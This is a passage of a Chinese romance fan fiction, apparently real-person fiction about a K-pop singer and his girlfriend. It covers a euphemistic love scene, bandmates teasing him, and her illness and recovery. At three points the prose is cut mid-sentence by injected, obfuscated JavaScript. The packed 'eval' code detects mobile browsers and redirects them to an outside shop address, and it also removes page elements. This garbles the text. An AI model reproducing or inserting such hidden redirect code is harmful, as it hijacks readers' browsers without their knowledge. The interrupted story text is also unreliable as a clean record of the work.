初星抬起水汽氤氲的眼睛望向他,长长的睫毛上还挂着细小的泪珠。那眼神湿漉漉的,带着未散尽的痛楚和全然的依赖,像某种无形的小钩子。 至龙的心被狠狠地攥了一下,又软又胀。他俯下身,温热的唇代替了手指,轻柔地吻上她的眼角,吻掉那残留的泪痕。动作珍重得仿佛在亲吻清晨花瓣上易碎的露珠。 初星闭上眼,感受那细腻的触感从眼角蔓延开。吻一路向下,轻触她的脸颊,最终,试探地覆上了她的唇。 起初只是轻柔的吻,像安抚,像确认。但她没有躲闪,反而微微张开唇。瞬间点燃了压抑的火苗。 吻,骤然加深。 原本的安抚不复存在。加剧的力道和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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初星摇摇头,喉咙发紧,说不出话。所有感官都涌向了被他亲吻的指尖上。那细微的湿热的触感被无限放大,沿着手臂窜向心脏,带来一阵阵令人心悸的酥麻。 他的吻没有停留。唇沿着她手臂内侧细腻的皮肤,缓慢向上游移。动作轻柔如羽,又带着灼人的温度。鼻尖掠过她的肌肤,将那缕愈发清晰的花香更深地吸入肺腑,他深邃的眼眸颜色变得更加幽暗。最终,停留在了涂了药膏的红痕处。温热的唇瓣极轻地触碰着,辗转着,仿佛这样就能驱散她所有的不适。药膏的清凉、她肌肤的温热,以及那愈发清晰的花香,交织成一种奇异而令人沉沦的气息。 这种近乎顶礼膜拜的温柔,比之前任何激烈的亲吻,更让初星心跳失序。她脚趾不自觉地蜷缩起来。 至龙敏锐地感受到了她的轻颤。他抬起头,在昏暗中深深凝视她的眼睛。他撑起身,双手落在她身侧的床垫上,将她笼罩在自己的气息之下。 “娜比……”他低声唤她的名字,尾音消失在再次覆上来的、带着试探和确认的唇瓣间。 他细细描摹她柔嫩的唇形,诱哄着她开启齿关。初星生涩地回应着,手攀上他宽阔的肩膀,隔着衣料感受到紧绷的线条和灼人的体温。衣扣被一颗颗解开,微凉的空气触到皮肤,她颤抖着,随即被他更紧地拥住。 衣物滑落。月光流淌过肌肤,又隐入阴影。 刻意的停顿,滚烫的扫过。创造过旋律的手解构束缚,滚烫与微凉相遇。花香爆炸开来。浓烈,甜媚,充满房间,充满肺叶,充满每一个细胞。 航行的船只在海中最猛烈的浪潮中悬停。给出最后一道通向逃离的门。没有语言,拉近。距离归零,变成刺穿所有朦胧的暖意。 小船进入深水区,缓慢地航行。每次前进都带来新的浪潮。 当月光再次从云层后浮现时,它照亮的是交叠的影子上微小的颤动。像初春河面最先融化的冰层,在看不见的暖流里裂开、旋转、最终汇入同一条河道。 气味在升温的空气里发酵。药膏的凉,汗液的咸,还有越来越浓郁的——像晚香玉在子夜突然爆开第一朵花瓣时,那种不管不顾的甜。 窗外,城市在凌晨三点换了一口气。而在这个房间里,时间以另一种计量单位在流动:以相贴皮肤的面积,以交换的呼吸次数,以心跳逐渐重叠成一个复合波形的那段漫长的、柔软的寂静。 62.第 62 章 晨光在地板上铺出柔和的光斑。至龙是被后背火辣辣的、带着刺痒的刺痛感惊醒的。他迷迷糊糊地伸手去摸,触到几道凸起抓痕。夜晚失控的一幕幕涌入脑海,他的心跳漏了一拍又加速起来,血液重新变得温热。 他侧过头,初星还在他臂弯里熟睡,呼吸均匀,长发有些凌乱地铺散着,睡颜恬静。只是眼角还残留着一丝若有若无的泪痕。至龙情不自禁地低下头,吻了吻她光洁的额头,动作小心到了极点,生怕惊醒了她。 他环顾四周,借着越来越亮的阳光,看清了房间的“战况”——散落一地的衣物,从门口一路蔓延到床边,皱巴巴的床单有一半垂到了地上,枕头更是东一个西一个,摆放得乱七八糟…… 至龙轻轻吸了口气,压下再次翻涌的冲动,一点一点地抽回被枕得有些发麻的手臂。初星在睡梦中咂了咂嘴,翻了个身,背对着他,裹着被子沉沉睡去。 机会正好。至龙起身,套上睡袍,赤脚踩在柔软的地毯上。他先是弯腰,温柔地将初星连人带被子一起打横抱起。初星含糊地咕哝了一声,脑袋在他胸前蹭了蹭,并没有醒来。至龙感受着她轻盈的重量和温热的体温,蹑手蹑脚地走出主卧,将她安置在次卧干净整洁的床上,仔细掖好被角。 做完这一切,他才带上了次卧的门,重新回到主卧。 站在门口,他的目光再次落在拥有她的“战场”上,最终定格在了床单中央那抹已经干涸、变得暗红的的印记上。 他屏住呼吸走过去,颤抖着碰了碰那抹痕迹,眼神翻涌着各种情绪。挣扎了片刻,做贼一样飞快地回头看了眼紧闭的次卧门,确认没有任何动静后,迅速摸出手机,对着那抹痕迹,找了好几个角度,调整着光线连续拍了好几张照片,将这份最初的见证偷偷保存下来。做完这件事,他耳根烧烫起来,心中充满了窃喜和恶劣的满足。匆忙而又异常郑重地把床单整个抽了下来,仔细叠好,放在一旁,准备等会儿单独处理。 之后他开始收拾地上散落的衣物。捡起自己的上衣、长裤,她的睡衣……他的手指触碰到那件柔软的带着体香的蕾丝内衣时,指尖像是被微弱的电流击中,某些画面再次不受控制地涌入脑海——它被褪下时擦过她细腻肌肤的画面,他笨拙又急切地解开搭扣时的触感,它最终落在地毯上的模样…… 至龙感觉全身的血液都开始往某个地方涌,深吸几口气,试图平复躁动,但效果甚微。 他看着手中两件小小的织物,没有犹豫,拿着它们,连同换下来的床单,走进了洗衣房。他没有扔进洗衣机,而是拧开水龙头,调好温水,挤了些洗衣液,开始亲手揉搓清洗。 水流声哗哗作响,他低着头,异常认真仔细地清洗着。白色的泡沫包裹着他的手指,也包裹着两人毫无保留相爱的证据。 至龙挂好衣服,湿凉的布料在微风中拂过他手臂。他突然把脸埋进自己带着水珠的掌心里,无声“尖叫”了一下,就像第一次帮妻子洗衣服的小丈夫,幸福又不知所措。 收拾完,至龙端着牛奶和煎蛋走进次卧时,初星正好悠悠转醒。他绽开一个温柔得能溺死人的笑容,快步走到床边。“醒啦?刚好,早餐准备好啦~” 初星意识逐渐回笼,目光聚焦在他脸上,想起他后面的失控、自己的求饶、以及那些羞人的姿势和声音……她的脸颊“唰”地一下爆红,猛地拉起被子盖过头顶,整个人翻过身去背对着他,把自己蜷缩成一个气鼓鼓的球。 至龙的笑意僵在脸上,连忙把托盘放在床头柜,在床沿坐下,伸手去扒拉被子:“娜比?宝宝?babe?怎么了?是不是还很不舒服?” 被子里传来闷闷的、带着明显委屈和羞恼的呜咽声,“你走开!不想理你!” 至龙听到她的话心都揪紧了,连带着后背的抓痕也开始隐隐作痛。他俯身环抱住,下巴蹭着鼓起的被子包,满是愧疚和讨好:“对不起,娜比,都是我不好……是我太着急了,弄疼你了是不是?别生我气,嗯?我错了,真的知道错了……” 被子底下安静了几秒钟,被角被掀开一点,露出一双控诉的眼睛,气鼓鼓地瞪着他:“你后面为什么那么重?我、我都让你停下了,我还那样求你了!你明明听得到!……” 至龙被问得噎了一下,抽了抽鼻子,诚实地小声回答:“因为……真的好舒服……我……我控制不住嘛……” 初星被他又可怜又坦诚的样子气得牙痒,她又把被子拉上去,在里面喊,“权至龙!你讨厌!烦死了!!” 至龙赶紧隔着被子轻轻拍抚她,耐心地哄着,道歉的话说了一箩筐。好一会儿,被子才又不情不愿地拉下来,露出初星缓和了不少的脸。 至龙从她的额头开始,极珍惜地往下亲,温热的唇依次落在她委屈的眉心、微肿的眼皮、小巧的鼻尖,最后印上她因为生气而微微嘟起的嘴唇。 “真的知道错了……”他紧贴着她的唇瓣低语,“原谅我好不好?我保证,一定会很小心,很温柔。” 初星被他这样温柔亲着哄着,那点恼火渐渐散了。她眨了眨眼,娇蛮的说:“你要是再敢那么重,我就……我就咬你!把你咬哭!” 至龙如释重负地点头,又亲了亲她的嘴角:“好,都听娜比的,一定轻轻的!要是再犯,随你怎么咬!咬多久都可以!” 气氛刚刚缓和,初星想坐起来,被子滑落一点,微凉的空气接触到皮肤,她骤然意识到自己什么也没穿。惊呼一声,她又把自己裹成了蚕蛹,连脑袋都缩了进去,又羞又急,“你…你怎么不给我穿衣服!” 至龙愣了一下,不好意思的摸了摸后颈,“我…我以为你没那么早醒,刚在收拾主卧……我现在就去拿,好不好?马上!” 他快步走向衣帽间拿了衣服。回到床边,他看着裹得只露出眼睛警惕地看着他的“被子卷”,想笑又强忍住,“娜比,我帮你穿。” 初星伸出手臂想接过衣服自己穿,却感到浑身酸软无力,尤其是腰腿,像是跑了一场马拉松。她尝试了一下,最后还是红着脸,声如蚊蚋地承认:“没力气……” 至龙眼神一暗,掀开一角,轻柔地帮她穿上内衣。手不可避免地触碰到她背部和胸前的肌肤,两人都有些脸红心跳,扣搭扣时,他又开始发颤。接着,他蹲下身,更加小心地帮她穿上内裤,最后套上睡裙。整个过程他都屏息凝神,没有任何狎昵之意,只有满溢的呵护。 穿好衣服,初星脸上的红晕才褪去一些,有了点安全感。至龙把她抱进怀里,端起牛奶递到她嘴边:“先喝点东西暖暖胃。还疼吗?手臂上的伤要不要再涂点药?” 初星小口喝着牛奶,摇了摇头,窝在他怀抱里,鼻尖萦绕着他身上清爽的气息,彻底放松下来,像只被顺毛的猫咪。 早餐后,初星趿拉着拖鞋,慢悠悠地走向洗衣间,想看看之前换洗的衣物干了没有。 一推开门,她就愣住了。 眼前的情景和她预想的完全不同。她昨天穿的那套睡衣和至龙的衣物整齐地晾在阳台上,这没什么。但旁边还孤零零地、非常显眼地晾着她那套……浅色的内衣裤。它们被仔细地展开,肩带和边缘都理得顺顺当当,没有一丝褶皱,甚至能看到布料上细微的、被亲手揉搓清洗过的柔软纹理。 初星的脸又红了,心里像揣了只小兔子跳来跳去。她站在原地瞪了几秒钟,朝着客厅喊,“权至龙!你给我过来!” 正在收拾碗筷的至龙闻声马上擦干手走过来,“怎么了娜比?”他顺着初星手指的方向,看到晾衣杆上那套醒目的贴身衣物时,脚步顿住了,裸露在外的皮肤迅速变红。 "这!是不是你洗的!"初星盯着他问,叉着腰,声音里带着些羞赧。 至龙不敢直视她,手指在脸颊脖子胡乱挠了挠,点了点头,“嗯。就……顺手就洗了。” 空气又开始凝固。但初星看着他做了“坏事”被抓包后局促又害羞的样子,原本那点不好意思就又变成了好笑。 她想了想,确实也没什么大不了的。于是,她清了清嗓子,对面前通红的男人说: “听着,下次要洗的话,”她指了指洗衣机上方的柜子,“我的贴身衣服要用放在那上面的专用洗衣液来洗,听到了没?那个对皮肤好,也不伤布料。” 至龙呆了一下,随即被"接到重要任务"的认真所取代。非常用力地点了点头,目光终于敢看向她,“听到了。娜比的衣服,专用洗衣液,洗衣机上面的柜子里。” 初星看着他这个憨憨的样,憋不住笑出声。 至龙看着她笑,也跟着笑了起来,紧紧抱着她,“知道了,娜比。下次一定用专用的。” 手机嗡嗡的震动打断了这份甜蜜,是至龙经纪人发来的信息,提醒他该出发去录音室了。他看了一眼,被抽走了骨头一样,软软地窝进初星怀里蹭来蹭去。 “唔……不想去……”他开始撒娇,尾音黏糊糊的,“想在家陪娜比……哪里都不想去……” 初星被他蹭得颈窝发痒,没好气地推了推他的脑袋:“快起来啦!烦死了,工作要紧!” 至龙不为所动,抱得更紧,“再待五分钟……就五分钟……好不好嘛……” “一分钟都不行!”初星伸手梳理了一下他刚才蹭乱的发丝,“快点去,永裴欧巴他们该等急了。” 至龙不情不愿地站直身体,捧起初星的脸,黏黏糊糊地要求:“要想我……每分钟都要想……不许忘记……” 初星敷衍地点头:“想想想,行了吧?每分钟都想,想你想得睡不着觉,满意了吧?” “不行,要盖章。”至龙说完,不由分说地吻她,又是一个缠绵悱恻又带着明显不舍的吻,直到两人呼吸都有些气喘才分开。 “我走了。”他一步三回头地走向玄关。 初星看着他磨磨蹭蹭的背影,心里也有点不舍,但还是挥挥手:“快走啦!路上小心!” 门被关上,屋内安静下来。初星摸了摸似乎还残留着他温度的嘴唇,心里唉叹一声‘真是甜蜜的烦恼’。 * 录音室里,成员们正在为新专辑做准备。永裴在试音,大声和胜利凑在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843969|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,讨论某个节奏点的细节处理,TOP靠在沙发上闭目养神。 至龙晚到了一小会儿,加入后很快投入工作,讨论间隙,他弯下腰去捡滚落到地上的笔。 站在他斜前方的胜利,无意间看了一眼,刚好瞥见至龙微微掀起的后衣领下方—— 几道清晰的、泛着淡淡红痕的抓痕,突兀地、暧昧地,印在至龙后颈根部和被衣物遮盖的肩背肌肤上。 胜利到嘴边的话卡在喉咙里,揉了揉眼睛,以为自己看错了,但那些痕迹在录音室明亮的灯光下实在有些明显。 “哇……大发……”胜利发出一声低低的惊叹,手里的歌词本都忘了翻页。 旁边的大声注意到他的异常,顺着他的目光看去,露出一个坏笑,手肘撞了撞胜利的腰,挤了挤眼睛。 至龙对此毫无察觉,他捡起笔,直起身,继续关于和声部分的讨论。 胜利按捺不住八卦之心,凑近大声:“哥,看到没?至龙哥背后……战况相当激烈啊……”说完还对着大声做了个猫抓的动作。 大声点了点头,两人交换了一个‘你懂得’的暧昧眼神,不受控制地看向对此还一无所知、全心投入工作的队长。 永裴投来疑惑的目光,胜利赶紧用口型无声地说了句“至龙哥,背后”,说着再次做了更加夸张的抓挠动作,表情滑稽。 永裴愣了一下,仔细看了两眼后,随即失笑摇头,看向至龙的眼神里多了几分戏谑和同情。“啧”了一声,低下头看谱子。 只有TOP淡定地闭着眼,对队友们的“新发现”毫无兴趣。 至龙抬起头,发现胜利和大声欲言又止地看着他。 “wei?我脸上有东西?还是我衣服穿反了?”至龙疑惑地摸了摸自己的脸,又低头看了看自己的穿着。 “没!没有!绝对没有!”胜利摇头,表情管理差点失控,强装严肃,“哥帅得很!特别帅!今天格外有……嗯……一种成熟的、经过洗礼的……男人味!” 至龙被他看得莫名其妙,皱了皱眉,但工作当前,也没多想,蹲下身又去调整设备了。 随着他的动作,抓痕再次暴露在胜利和大声的视线里。两人赶紧捂住嘴,转过身去,憋笑憋得十分辛苦。 录音还没正式开始,房间里已经充满了一种心照不宣的微妙气氛。 至龙被他们弄得浑身不自在,但又抓不到把柄,只好狐疑地转过身,强迫自己专注在调音台上,却总觉得后背有点凉飕飕的。 好不容易熬到一段落休息,至龙拿起水瓶喝水,永裴慢悠悠地晃到他身边,不经意地问:“呀,至龙啊,最近……家里养猫了?挺……活泼的那种?” “莫?”至龙莫名其妙地看着永裴,“没啊,就家虎一只狗,你知道的。怎么了?” 话一出口,他立刻反应过来,明白了永裴的暗示,也知道刚才那诡异的气氛所为何事! “轰”的一下,他的脸颊、耳朵、乃至脖颈,以肉眼可见的速度红透。他有些慌乱地拉了一下自己的后衣领,试图遮掩,根本不敢看永裴带着笑意的眼睛,四处飘忽,找不到焦点。 “什…什么猫不猫的…不知道你在说什么…”他有些结巴了,手指攥紧了水瓶,“可能…可能是家虎不小心挠的…对,家虎最近有点调皮…”但越是否认,那烧灼般的脸红和慌乱的眼神就越是出卖了他。 永裴看着他这恨不得当场挖个地洞钻进去的样子,了然地笑了笑,不再继续逗他,只是意味深长地又拍了拍他的肩,“没什么,挺好的。注意……适度。” 随后笑着走开了,留下至龙一个人站在原地,心跳如鼓。 胜利和大声看到连最稳重的永裴哥都去“慰问”过了,交换了一个眼神,憋着笑,却也没敢再过来明目张胆地调侃。只是时不时地,至龙总能感觉到背后有视线飘过来,让他坐立难安,连喝水都差点呛到。 他强装镇定地回到调音台前,试图集中精神,但思绪总是飘散开。后背那几道痕迹好像在发烫,时刻提醒着昨夜初星意乱情迷时的抓挠、她带着哭腔的呜咽、她依赖地蜷缩在自己怀里熟睡的模样……想着想着,耳朵就更红了,连操作设备的手指都有些不听使唤。 TOP看着至龙如芒刺背的模样,评价道:“年轻人,火力旺。” 然后再次闭上眼,深藏功与名。 接下来的录音过程,至龙都处于高度敏感和“防御”状态。每次需要弯腰捡东西或者调整线缆时,都格外小心,动作幅度收敛到最小,生怕再露出什么“破绽”。成员们偶尔投来的善意目光,都让他心跳漏跳半拍,只能假装严肃地咳嗽两声,或者埋头猛看乐谱,试图用专业态度掩饰自己的不自然。 虽然羞涩得不行,但内心深处,确实有一丝难以言喻的、被见证的隐秘情绪悄悄滋生。只是现在铺天盖地的不好意思占了大头。他现在唯一的念头就是:赶紧结束今天的工作!回去赶紧把高领上衣找出来!还有…今晚一定要…一定要稍微克制一点…至少…别再留下这么明显的痕迹了…(虽然这个决心可能在看到初星的那刻就土崩瓦解)。 63.第 63 章 录音在微妙的气氛中落下帷幕。至龙几乎是从椅子上弹跳起来。 “今天就到这里吧,大家都辛苦了。” 他一边说着,一边迅速抓起搭在椅背上的外套,胡乱往身上套,试图用那不算厚实的面料多少遮掩一下后颈的“罪证”。 “哥,这就走了?不一起去吃个夜宵?补充一下……体力?”胜利笑嘻嘻地凑过来,故意把“体力”拉得又长又暧昧。 至龙手忙脚乱地拉上拉链,没好气地摇头,努力装得自然,“不了,娜比昨天就说想吃炸酱面,我得去东大门那家老店给她买,去晚了该卖完了。” “哇哦~”胜利发出怪叫,“真是二十四孝好男友啊!心心念念都是我们怒那!那我们呢?哥你就忍心抛下我们?” 至龙没好气地推开他凑过来的脑袋:“你们自己吃吧,记我账上。”说完,他不再理会身后传来的一阵哄笑和胜利“重色轻友”的控诉,快步离开录音室。 他开车直奔东大门,顺利买到初星爱吃的食物,心情颇好地回程,想象着初星看到美食时亮晶晶的眼睛。 初星的来电突然急促地响起,至龙刚接通,还没来得及愉悦的说“宝贝我马上到家”,那头就传来她带着哭腔、极其不耐烦又虚弱的声音:“权至龙!你怎么还没回来?!慢死了!蜗牛都比你快!” 至龙的心都被团成一团揪紧了,“怎么了娜比?哪里不舒服?我去买炸酱面了,还有煎饺,马上就回来了,最多十五分钟!” “肚子疼…疼死了…”初星蛮不讲理的抱怨着,“那个来了…难受死了…家里的止痛药吃完了!你快点去药店给我买!现在就要!” “好好好!别急,我马上去买!这就去!”至龙立刻改变了行车路线,焦急又心疼的问:“很疼吗?疼得厉害吗?要不要直接去医院看看?让医生看看会不会好一点?” “不去医院!烦死了!”初星尖声拒绝,“去医院有什么用!排队挂号折腾半天!最后还是要吃药!你快点去买!我要疼晕过去了!” 说完,就挂断电话,一句多余的话都没有。 至龙握着方向盘的手紧了紧,脚下油门加深。他知道初星的体质。她平时活蹦乱跳,但每年总有一两次痛经,一旦发作就格外凶猛,疼得她脸色煞白,冷汗直冒,有时还伴随着恶心反胃。 他以最快的速度找到药店,冲进去买了效果最好的止痛药,又顺手拿了暖宝宝、缓解恶心感的胃药,还有一包红糖姜茶块。 重新坐回车里,他发着信息,手指飞快:「药买到了,最好的那种。五分钟就到家,娜比再坚持一下。」 手机安静着,没有回复。 一路上,他脑子里乱糟糟的,全是初星苍白着小脸的样子,心疼得不行。他甚至有点后悔,是不是昨晚自己太不知节制,累着她了,才让她这么难受。 至龙回到宿舍,心急火燎地打开门,客厅里只开了一盏昏黄的壁灯,初星蜷缩在沙发里,身上裹着小毯子,小脸白得像纸,额头沁着虚汗,整个人像被暴雨打蔫了的花苞,有气无力地抱着个抱枕,可怜极了。 看到至龙,初星的眼泪就啪嗒啪嗒掉下来,完全没了平时小辣椒般的颐指气使,“你怎么才回来……呜…疼死我了……我以为我要死掉了……” 至龙放下东西,几个大步冲过去,把她连人带毯子搂进怀里。一抱住她,他就发现不对劲,现在明明是闷热的夏季,可她露在毯子外的手却冰凉得吓人。 他赶紧包裹住她的小手,用力搓揉着取暖,“手怎么这么冰?娜比,听话,我们还是去医院看看好不好?这样不行,我担心……” “不要……不去医院,”初星摇头,眼泪濡湿了他的衣服,“去了就要抽血打针…还要吃很苦的药…我不要…”她像个耍赖的孩子哭诉,但因为虚弱,连耍赖都有气无力,只剩下令人心碎的依赖。 “我们先把药吃了好不好?吃了药就不那么疼了。”至龙不再坚持,拿出药和温水,耐心地哄着,“吃了药很快就不疼了,药片很小,一点都不苦的,我保证。” 初星泪眼婆娑地就着他的手,乖乖把药片吞了下去,整张脸都皱了起来。 吃完药,至龙想起身去冲红糖姜茶,可他手臂刚松开,初星就更用力地抱住他的腰,“不要…不准走…就要揉肚子…你揉比那个有用…” “好,不走不走,哪儿都不去,就在这儿陪着你。”他妥协地重新坐下,让她窝在自己怀里。手掌搓得滚热,小心地探进毯子里,撩起下摆覆上她冰凉紧绷的小腹。 “嗯……”初星发出一声舒服的喟叹,更加紧密地贴着他,手指下意识地钻进他腰侧的衣服褶皱里抓着。 至龙不敢用力,只是用掌心最柔软的部分,极轻极缓地顺时针揉着。一边揉,一边不断亲吻她的发顶、汗湿的额头、因为哭泣红肿的眼皮,在她耳边一遍遍哄着:“乖,揉揉就不疼了。我们娜比最勇敢了~再忍一下下,药效上来了就好了,我在这呢,哪儿都不去……” 初星闭着眼,在他有节奏的按摩和安心的怀抱里,紧绷的身体慢慢放松下来,急促的呼吸也平稳起来。药效上来了,加上持续传来的熨帖温度,那磨人的绞痛终于开始缓解。 她在他怀里找了一个更舒服的位置,抓着他衣角的手也慢慢松了力道,舒服得快要睡着了。 至龙感受着她的变化,心里的大石头也落地。他维持着揉按的动作,一动不动,心甘情愿地当她的人肉暖宝宝。 等初星醒来时外面已经天光大亮了,无意识地向身边摸索,却摸了个空。 睁开眼,只剩下一点凹陷的痕迹和至龙身上淡淡的香水味还残留着。她心里涌上空落落的失落感,转头,就看到了床头柜上贴着一张便利贴。 「娜比呀,对不起。新专辑打歌开始了,行程排得很满,最近都要连轴转,可能回不来了。厨房砂锅里熬了鸡汤,记得喝一点。用微波炉热一分钟就好。如果还是很不舒服,一定、一定要打电话给珍雅,让她陪你去医院看看。别怕苦,身体最重要。 忙完我就马上回来。么么~ ——最爱娜比的至龙」 纸条的末尾,还画了一个小小的、哭丧着脸的爱心,旁边写着“想你”。 初星看着纸条,能想象出他写这些时皱着心疼又不得不走的模样。肚子还在隐隐作痛,但心里暖暖涨涨的。抱着被子坐起来时,又发现小腹上还贴着新换上的暖宝宝。 她勉强起来喝了大半碗鸡汤,又躺回床上。本以为休息下会好转,但到了下午,不适感反而加剧了。小腹的坠痛感更加明显,浑身发冷,头晕晕沉沉的,坐起来都感到天旋地转。 她只好拿起手机打给珍雅。 珍雅很快赶了过来,拿出体温计量,“呀!发烧了,37.6度。不行,这得去医院看看。” 初星缩在被子里固执的说:“不去医院,就是生理期有点发烧,正常的…我睡一觉,出出汗就好了……” “哪里正常了?”珍雅急了,“你看看你,一点血色都没有!万一拖严重了怎么办?至龙欧巴知道了非得急死不可!” “真的没事,”初星拉住珍雅的手,“别告诉至龙,组合新专辑刚出,正是忙的时候,别让他担心……” 珍雅看着好友脆弱却异常坚持的脸,又气又心疼:“呀!裴初星!你这是什么歪理!至龙欧巴要是知道你病了还不告诉他,会生气吧!” “求你了珍雅……”初星软声哀求,“我真的就是有点累,睡一觉就好了…” 珍雅拗不过她,“好吧好吧,先不去医院。但你得吃点东西,乖乖吃药!” 她系上围裙走进厨房,发现至龙熬的汤已经凉了,但汤底很清澈。她开火,细细地撇去表面凝结的少许油花,又加入些小米,熬了锅软烂温和的鸡汤小米粥。 她端着粥回到床边,扶起初星,一勺一勺喂她吃。初星没什么胃口,但在珍雅“不吃就不帮你瞒着”的“威胁”下,还是勉强吃了半碗。 吃完粥,珍雅又盯着吃了退烧药,换掉额头上变冷的毛巾,把踢开的被子重新盖好。 “安心睡吧,我今天不走了,在这儿陪着你。”珍雅坐在床边,哄孩子一样拍着她的背。 初星感激地看着珍雅,在药效和疲惫的双重作用下沉沉睡去。 珍雅悄悄拿起手机,对着初星安静的睡颜拍了一张照片,发给至龙:「至龙欧巴,别太担心。初星吃完药睡着了,我会照顾好她的,有任何情况随时联系你。新专辑Fighting!放心工作!」 她终究还是没完全听初星的话,选了一种不让至龙过度焦虑的方式,让他知道情况,免得他事后更自责。 远在打歌待机室的至龙,趁着彩排间隙看到这条信息,盯着照片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860172|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了好久,反复输入又删除,最终回复道:「谢谢珍雅,辛苦你了!有任何情况,无论多晚,随时打我电话。拜托了!」 翌日早晨,珍雅摸着初星的额头,感受到手下似乎更灼热了,测量的体温甚至达到了38.4度。 “不行!这次必须去医院!没得商量!”珍雅不容拒绝地给初星套外套,“烧没退反而高了,脸色也越来越差,万一拖出肺炎或者其他并发症怎么办?” 初星还想挣扎,但头晕得厉害,被珍雅半扶半抱地带去医院。 经过检查,医生诊断是生理期抵抗力下降引起的炎症,需要输液消炎。等输完液后,两人回到公寓时已是下午。 也许是药液起了作用,初星发现确实舒服了不少,身上不再发冷,头晕也缓解了。 “珍雅啊,辛苦你了!我好多了,烧好像也退了,你快回去好好休息吧,都照顾我一天了。”她看着好友眼下的青黑和疲惫的脸,很是过意不去。 珍雅仔细看了看她的脸色,确实红润了些,又摸了摸额头,“那你答应我,按时吃药,晚饭我帮你点清淡的外卖,必须吃一点。有任何不舒服给我打电话,不准硬撑!听到没有?” “知道啦知道啦,我保证,绝对不硬撑,有事第一个给你打电话。”初星点头应和着。 送走千叮万嘱的珍雅,初星躺回床上再次睡去。 不知睡了多久,她在熟悉的安全感和被温柔注视的感觉中醒来。 睁开眼看着本该在打歌节目现场或会议室里忙碌的人,现在就坐在床边的椅子上。至龙正侧着头,一只手撑着额头在小憩,另一只手握着她的手。 初星只是动了动手指,他就惊醒了。 “娜比?醒了?”他俯身过来,手掌抚上她的额头,感受着温度,眼底带着疲惫和担忧,“怎么样?还难受吗?头还晕不晕?” 初星愣愣地看着他,有些反应不及,“至龙?你……你怎么回来了?现在几点了?你的行程……” “刚忙完,实在不放心,就赶回来看看。”他轻描淡写地带过,“好像不烧了。还有哪里不舒服吗?肚子还疼吗?” 初星摇摇头,在至龙面前总是变得娇气,声音也软了几分:“没有啦,就是浑身没力气,软绵绵的。好烦!” “病还没好全,当然没力气。”至龙松了口气,“珍雅给我发信息,说带你去医院了?输液了?医生开的药吃了吗?” 初星心虚地躲避他的视线,“嗯,去医院了,打针了,但是药……还没吃。” 至龙严肃地说道,“为什么不吃药?医生开的药必须按时吃才能好彻底。珍雅没提醒你吗?” 她扁了扁嘴,“那个药……片太大了,我吞不进去。你不在……我……我也不好意思让医生给我换药丸小点的…” 他是知道初星这个娇气又可爱的小毛病,吞咽功能特别敏感,喉咙细,稍微大一点的药片或者胶囊就咽不下去,还会干呕。连吃的止痛药都必须是小圆片,之前他还特意找过日本那种极小的药片。 至龙看着眼前的人因生病格外脆弱,又因为这种小事委屈巴巴的样子,那点子严肃化成灰吹散了。坐到床边,把她搂进怀里。 “是我不好,该陪着你的。”他哄着,拿起床头柜上的药看了看,是普通的成人用药片,确实对初星来说有点大。“但现在太晚了,药店都关门了,买不到小药片了。我们试试看好不好?我把药片掰成三小块,一点点吞,我帮你弄得很小很小,保证不卡住。” 初星在他怀里拼命摇头,“不要,会卡在喉咙里,更难受…” 至龙拿她这点任性一点办法都没有,继续耐心地哄:“那……放在水里化开喝掉?虽然会有点苦,但总比不吃药好,对不对?不然病好不了,明天会更难受的。” 初星抬起湿漉漉的眼看他,“会很苦吗?” “可能会有一点点苦,”至龙诚实地说,但马上补充,“但我给你准备最甜的糖,喝完就吃糖,苦味一下就没了。或者我们兑一点点蜂蜜进去?” 夜色渐深,至龙抱着怀里这个因为怕苦、怕吞药而闹脾气、需要人耐心哄着的小病人,心里既心疼又好笑,但更多的,是被全然依赖和需要的满足感。他愿意永远哄着她,去解决她所有大大小小的、在别人看来或许微不足道、但在他眼里却无比重要的“麻烦”。 64.第 64 章 初星回来时墙上的挂钟时针已滑过十点。玄关的感应灯柔亮起,将一室温暖静谧推送至眼前。 房间内流淌着熟悉的电影配乐一是《泰坦尼克号》那悠扬又略带忧伤的主题曲,她有些意外地拾眼望去,客厅里只开了几盏角落里的氛围灯,电视屏幕的光影在昏暗的空间里明明灰灭。 至龙似乎刚沐浴过,身上穿着家居服,额前过长的头发被随意地在头顶扎成一个啾啾,几缕没被束缚住的碎发垂落,整个人看起来多了几分柔软和可爱,像个邻家大男孩。 听到开门声,他转过头,眼睛在昏暗中闪烁,“回来了?今天怎么这么晚?”拍了拍身边的位置,“快来,正好放到经典部分。” 初星放下沉重的通勤包走过去:“怎么突然想起看这个了?怀旧?” 她注意到沙发扶手上随意放着摊开的笔记本和笔,“在写歌?” “嗯,有点灵感,记录一下。”至龙把她揽进怀里,亲昵的蹭来蹭去,到处嗅着她身上的香味,“看会儿电影,放松一下脑子。” 